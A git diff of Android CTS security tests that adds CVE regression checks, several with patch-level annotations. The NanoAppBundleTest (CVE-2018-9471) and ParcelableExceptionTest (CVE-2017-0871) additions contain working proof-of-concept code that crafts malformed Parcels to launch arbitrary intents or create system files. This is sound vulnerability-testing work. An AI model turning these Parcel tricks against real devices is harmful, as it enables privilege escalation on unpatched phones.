diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 1759521..2be37bb 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -27,7 +27,6 @@
import android.security.cts.IsolatedService;
import android.test.AndroidTestCase;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
import com.android.internal.util.ArrayUtils;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -75,9 +74,7 @@
mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
}
-
@SecurityTest
- @CddTest(requirement="9.2/C-0-1")
public void testGetCachedServicesFromIsolatedService() throws RemoteException {
String[] cachedServices = mService.getCachedSystemServices();
for (String serviceName : cachedServices) {
@@ -86,9 +83,7 @@
}
}
-
@SecurityTest
- @CddTest(requirement="9.2/C-0-1")
public void testGetServiceFromIsolatedService() throws RemoteException {
for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
new file mode 100644
index 0000000..af62105
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -0,0 +1,86 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import android.media.MediaRecorder;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.File;
+
+@SecurityTest
+public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+
+ /**
+ * b/27855172
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void test_cve_2016_2499() throws Exception {
+ MediaRecorder mediaRecorder = null;
+ long end = System.currentTimeMillis() + 600_000; // 10 minutes from now
+ String TAG = "MediaRecorderInfoLeakTest";
+ boolean recorderPrepare = false;
+ int retryCount = 2;
+
+ try {
+ while(System.currentTimeMillis() < end) {
+ recorderPrepare = false;
+ for (int i = 0; i < retryCount; i++) {
+ try {
+ mediaRecorder = new MediaRecorder();
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+ mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H263);
+ mediaRecorder.setVideoFrameRate(30);
+ mediaRecorder.setVideoSize(352, 288);
+ mediaRecorder.setOutputFile(
+ new File(getContext().getFilesDir(), "record.output").getPath());
+ mediaRecorder.prepare();
+ recorderPrepare = true;
+ break;
+ } catch (Exception ex) {
+ Log.w(TAG, "Media Recorder Prepare Exception" + ex.getMessage());
+ Thread.sleep(200);
+ } finally {
+ if (recorderPrepare == false && mediaRecorder != null){
+ mediaRecorder.release();
+ }
+ }
+ }
+ if(recorderPrepare){
+ int test = mediaRecorder.getMaxAmplitude();
+ mediaRecorder.reset();
+ mediaRecorder.release();
+ if(test != 0){
+ fail("MediaRecorderInfoLeakTest failed");
+ }
+ } else {
+ fail("Media Recorder prepare fail");
+ }
+ }
+ } catch (Exception e) {
+ fail("Media Recorder Exception" + e.getMessage());
+ } finally {
+ if (mediaRecorder != null){
+ mediaRecorder.release();
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 3e36fa8..efc050f 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -39,6 +39,7 @@
* larger than 2. Ensure that we do not attempt to read colors from beyond the end of the
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
+ @SecurityTest(minPatchLevel = "2017-06")
public void test_android_bug_33897722() {
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..e7ab8eb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.pm.ActivityInfo;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
+public class NanoAppBundleTest extends AndroidTestCase {
+
+ private static final String TAG = "NanoAppBundleTest";
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+ private ServiceConnection mServiceConnection =
+ new ServiceConnection() {
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder binder) {
+ Log.i(TAG, "Authenticator service " + name + " is connected");
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.i(TAG, "Authenticator service " + name + "died abruptly");
+ }
+ };
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+ mContext.startService(serviceIntent);
+ mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mContext != null) {
+ Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+ mContext.stopService(serviceIntent);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * b/113527124
+ */
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPoc_cve_2018_9471() throws Exception {
+
+ try {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ new NanoAppBundleTest.Trigger(mContext).anyAction();
+ // against vulnerable bits, the failure will get caught right after trigger.
+ // against patched bits, 1 minute wait to snap the test
+ Thread.sleep(60_000);
+ } catch(InterruptedException ignored) {
+ Log.i(TAG, "swallow interrupted exception");
+ }
+ }
+
+ public static class Trigger {
+ private static final String TAG = "Trigger";
+ private Context mContext;
+
+ public Trigger(Context context) {
+ mContext = context;
+ }
+
+ private void trigger() {
+ Log.i(TAG, "start...");
+
+ String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+ String cls = isCar(mContext)
+ ? "com.android.car.settings.accounts.AddAccountActivity"
+ : "com.android.settings.accounts.AddAccountSettings";
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(pkg, cls));
+ intent.setAction(Intent.ACTION_RUN);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+ intent.putExtra("account_types", authTypes);
+
+ ActivityInfo info = intent.resolveActivityInfo(
+ mContext.getPackageManager(), intent.getFlags());
+ // Will throw NullPointerException if activity not found.
+ if (info != null && info.exported) {
+ mContext.startActivity(intent);
+ } else {
+ Log.i(TAG, "Activity is not exported");
+ }
+ Log.i(TAG, "finsihed.");
+ }
+
+ public void anyAction() {
+ Log.i(TAG, "Arbitrary action starts...");
+
+ Intent intent = new Intent();
+
+ intent.setComponent(new ComponentName(
+ "android.security.cts",
+ "android.security.cts.NanoAppBundleTest$FailActivity"));
+ intent.setAction(Intent.ACTION_RUN);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ Authenticator.setIntent(intent);
+
+ trigger();
+
+ Log.i(TAG, "Arbitrary action finished.");
+ }
+ }
+
+ // customized activity
+ public static class FailActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle onSavedInstanceState) {
+ super.onCreate(onSavedInstanceState);
+
+ fail("Arbitrary intent executed");
+ }
+ }
+
+ //
+ // Authenticator class
+ //
+ public static class Authenticator extends AbstractAccountAuthenticator {
+
+ private static final String TAG = "Authenticator";
+
+ // mAddAccountDone : flag set to check if the buggy part is got run
+ private boolean mAddAccountDone;
+ public boolean isAddAccountDone() {
+ return mAddAccountDone;
+ }
+ public void setAddAccountDone(boolean isDone) {
+ mAddAccountDone = isDone;
+ }
+
+ // mAuthContext
+ private static Context mAuthContext;
+ public static Context getAuthContext() {
+ return mAuthContext;
+ }
+
+ // mIntent : set from Trigger or setPIN
+ private static Intent mIntent;
+ public static Intent getIntent() {
+ return mIntent;
+ }
+ public static void setIntent(Intent intent) {
+ mIntent = intent;
+ }
+
+ // Authenticator ctor
+ public Authenticator(Context context) {
+ super(context);
+ setAddAccountDone(false);
+ Authenticator.mAuthContext = context;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ String authTokenType,
+ Bundle bundle) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options) {
+ try {
+ Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+ accountType, authTokenType));
+ Bundle bundle = new Bundle();
+ Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+ bundle.readFromParcel(parcel);
+ parcel.recycle();
+ setAddAccountDone(true);
+ Log.i(TAG, "addAccount finished");
+ return bundle;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ Bundle bundle) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ String authTokenType,
+ Bundle bundle) {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ String[] features) {
+ return null;
+ }
+ }
+
+ //
+ // AuthenticatorService
+ //
+ public static class AuthenticatorService extends Service {
+
+ private static final String TAG = "AuthenticatorService";
+
+ private Authenticator mAuthenticator;
+ public Authenticator getAuthenticator() {
+ return mAuthenticator;
+ }
+
+ private IBinder mBinder;
+ public IBinder getServiceBinder() {
+ return mBinder;
+ }
+
+ public AuthenticatorService() {
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ // critical:here have to pass the service context to authenticator, not mContext
+ Log.i(TAG, "creating...");
+ mAuthenticator = new Authenticator(this);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ try {
+ Log.i(TAG, "Bind starting...");
+ IBinder binder = mAuthenticator.getIBinder();
+ mBinder = binder;
+ Log.i(TAG, "Bind finished.");
+ return binder;
+ } catch (Exception e) {
+ Log.i(TAG, "Bind exception");
+ e.printStackTrace();
+ }
+ return null;
+ }
+ }
+
+ //
+ // GenMalformedParcel
+ //
+ public static class GenMalformedParcel {
+
+ public static Parcel nanoAppFilterParcel(Intent intent) {
+ Parcel data = Parcel.obtain();
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString(SECURITY_CTS_PACKAGE_NAME);
+ data.writeInt(4);
+ data.writeString("android.hardware.location.NanoAppFilter");
+ data.writeLong(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(13);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(0);
+
+ return data;
+ }
+ }
+
+ private static boolean isCar(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index 77d75d8..2e101a5 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -107,7 +107,7 @@
*/
private static native boolean doPerfEventTest2();
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-01")
public void testCVE20141710() throws Exception {
assertTrue("Device is vulnerable to CVE-2014-1710", doCVE20141710Test());
}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index da45f0a..83b3686 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -114,7 +114,10 @@
// Test package to verify upgrades to privileged applications
"com.android.cts.priv.ctsshim",
- "com.android.cts.ctsshim"
+ "com.android.cts.ctsshim",
+
+ // Oom Catcher package to prevent tests from ooming device.
+ "com.android.cts.oomcatcher"
));
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
new file mode 100644
index 0000000..a024e50
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import android.security.cts.R;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.BaseBundle;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Log;
+
+import java.io.File;
+import java.lang.reflect.Field;
+
+@SecurityTest
+public class ParcelableExceptionTest extends AndroidTestCase {
+
+ @SecurityTest(minPatchLevel = "2017-12")
+ public void test_CVE_2017_0871() throws Exception {
+ String filePath = "/data/system/" + System.currentTimeMillis();
+ File file = new File(filePath);
+ Bundle bundle = createBundle("java.io.FileOutputStream", filePath);
+ sendBundleToSystem(bundle);
+ assertFalse(file.exists());
+ }
+
+ private Bundle createBundle(String className, String constructorArgument) throws Exception {
+ Parcel data = Parcel.obtain();
+ data.writeInt(1);
+ data.writeString("a");
+ data.writeInt(4);
+ data.writeString("android.os.ParcelableException");
+ data.writeString(className);
+ data.writeString(constructorArgument);
+
+ Bundle bundle = new Bundle();
+ Field parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+ parcelledDataField.set(bundle, data);
+ return bundle;
+ }
+
+ private void sendBundleToSystem(Bundle theBundle) throws Exception {
+ Context.class
+ .getMethod("sendBroadcast",
+ Intent.class,
+ String.class,
+ Bundle.class)
+ .invoke(getContext(), new Intent("DUMMY_BROADCAST"), null, theBundle);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 9755efa..6f7e8da 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -22,6 +22,7 @@
@SecurityTest
public class PutOverflowTest extends AndroidTestCase {
+ @SecurityTest(minPatchLevel = "2015-02")
public void testCrash() throws Exception {
try {
Class<?> keystoreClass = Class.forName("android.security.KeyStore");
diff --git a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
index 5002a72..845877b 100644
--- a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
+++ b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
@@ -64,6 +64,7 @@
public static String output = "";
private final String pattern = ".*PLAIN TEXT EXPOSED.*";
+ @SecurityTest(minPatchLevel = "2018-05")
public void test_android_CVE_2017_13309() {
context = getInstrumentation().getContext();
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 23253df..16f01eb 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -29,6 +29,11 @@
@SecurityTest
public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void testAndroid_cve_2017_13318() {
+ doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
+ }
+
@SecurityTest
public void test_android_bug_17262540() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
similarity index 80%
rename from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
rename to tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
index 5ee3aeb..8289784 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,16 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+package android.security.cts;
import android.app.Activity;
import android.os.Bundle;
-public class AutoClosingActivity extends Activity {
+import android.security.cts.R;
+
+public class SkiaJpegDecodingActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
-
- finish();
}
}
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.test.ActivityInstrumentationTestCase2;
+
+public class SkiaJpegDecodingTest extends
+ ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
+ private Activity mActivity;
+
+ public SkiaJpegDecodingTest() {
+ super(SkiaJpegDecodingActivity.class);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mActivity = getActivity();
+ assertNotNull("Failed to get the activity instance", mActivity);
+ }
+
+ public void testLibskiaOverFlowJpegProcessing() {
+ // When this is run on a vulnerable build the app will have a native crash
+ // which will fail the test. When it is run on a non-vulnerable build we may
+ // get a java-level exception, indicating that the error was handled properly
+ mActivity.runOnUiThread(new Runnable() {
+ public void run() {
+ try {
+ mActivity.setContentView(R.layout.activity_skiajpegdecoding);
+ } catch (android.view.InflateException e) {
+ return;
+ }
+ }
+ });
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mActivity != null) {
+ mActivity.finish();
+ }
+ super.tearDown();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index e53b85f..09588a2 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,8 +22,7 @@
*/
package android.security.cts;
-import android.test.AndroidTestCase;
-import android.util.Log;
+import android.app.Instrumentation;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
@@ -42,8 +41,8 @@
import android.os.Looper;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
import android.platform.test.annotations.SecurityTest;
-import android.test.InstrumentationTestCase;
import android.util.Log;
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
@@ -59,6 +58,12 @@
import java.io.InputStream;
import java.net.URL;
import java.nio.ByteBuffer;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.io.InputStream;
+import java.net.Socket;
+import java.net.ServerSocket;
+import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.locks.Condition;
@@ -70,21 +75,38 @@
import org.json.JSONObject;
import android.security.cts.R;
+import android.media.TimedText;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.rules.TestName;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
/**
* Verify that the device is not vulnerable to any known Stagefright
* vulnerabilities.
*/
@AppModeFull
-@SecurityTest
-public class StagefrightTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class StagefrightTest {
static final String TAG = "StagefrightTest";
+ private Instrumentation mInstrumentation;
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
private final static long CHECK_INTERVAL = 50;
- public StagefrightTest() {
+ @Rule public TestName name = new TestName();
+
+ @Before
+ public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
}
/***********************************************************
@@ -92,170 +114,213 @@
before any existing test methods
***********************************************************/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2019-04")
+ public void testStagefright_cve_2019_2244() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_36725407() throws Exception {
doStagefrightTest(R.raw.bug_36725407);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-08")
public void testStagefright_cve_2016_3829() throws Exception {
doStagefrightTest(R.raw.cve_2016_3829, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_cve_2017_0643() throws Exception {
doStagefrightTest(R.raw.cve_2017_0643, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_cve_2017_0728() throws Exception {
doStagefrightTest(R.raw.cve_2017_0728, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-10")
public void testStagefright_bug_62187433() throws Exception {
doStagefrightTest(R.raw.bug_62187433);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefrightANR_bug_62673844() throws Exception {
doStagefrightTestANR(R.raw.bug_62673844);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_37079296() throws Exception {
doStagefrightTest(R.raw.bug_37079296);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_38342499() throws Exception {
doStagefrightTest(R.raw.bug_38342499);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_bug_22771132() throws Exception {
doStagefrightTest(R.raw.bug_22771132);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_bug_21443020() throws Exception {
doStagefrightTest(R.raw.bug_21443020_webm);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2018-03")
public void testStagefright_bug_34360591() throws Exception {
doStagefrightTest(R.raw.bug_34360591);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_35763994() throws Exception {
doStagefrightTest(R.raw.bug_35763994, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testStagefright_bug_33137046() throws Exception {
doStagefrightTest(R.raw.bug_33137046);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2016_2507() throws Exception {
doStagefrightTest(R.raw.cve_2016_2507, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testStagefright_bug_31647370() throws Exception {
doStagefrightTest(R.raw.bug_31647370);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testStagefright_bug_32577290() throws Exception {
doStagefrightTest(R.raw.bug_32577290);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2015_1538_1() throws Exception {
doStagefrightTest(R.raw.cve_2015_1538_1);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2015_1538_2() throws Exception {
doStagefrightTest(R.raw.cve_2015_1538_2);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2015_1538_3() throws Exception {
doStagefrightTest(R.raw.cve_2015_1538_3);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2015_1538_4() throws Exception {
doStagefrightTest(R.raw.cve_2015_1538_4);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2015_1539() throws Exception {
doStagefrightTest(R.raw.cve_2015_1539);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3824() throws Exception {
doStagefrightTest(R.raw.cve_2015_3824);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3826() throws Exception {
doStagefrightTest(R.raw.cve_2015_3826);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3827() throws Exception {
doStagefrightTest(R.raw.cve_2015_3827);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3828() throws Exception {
doStagefrightTest(R.raw.cve_2015_3828);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3829() throws Exception {
doStagefrightTest(R.raw.cve_2015_3829);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
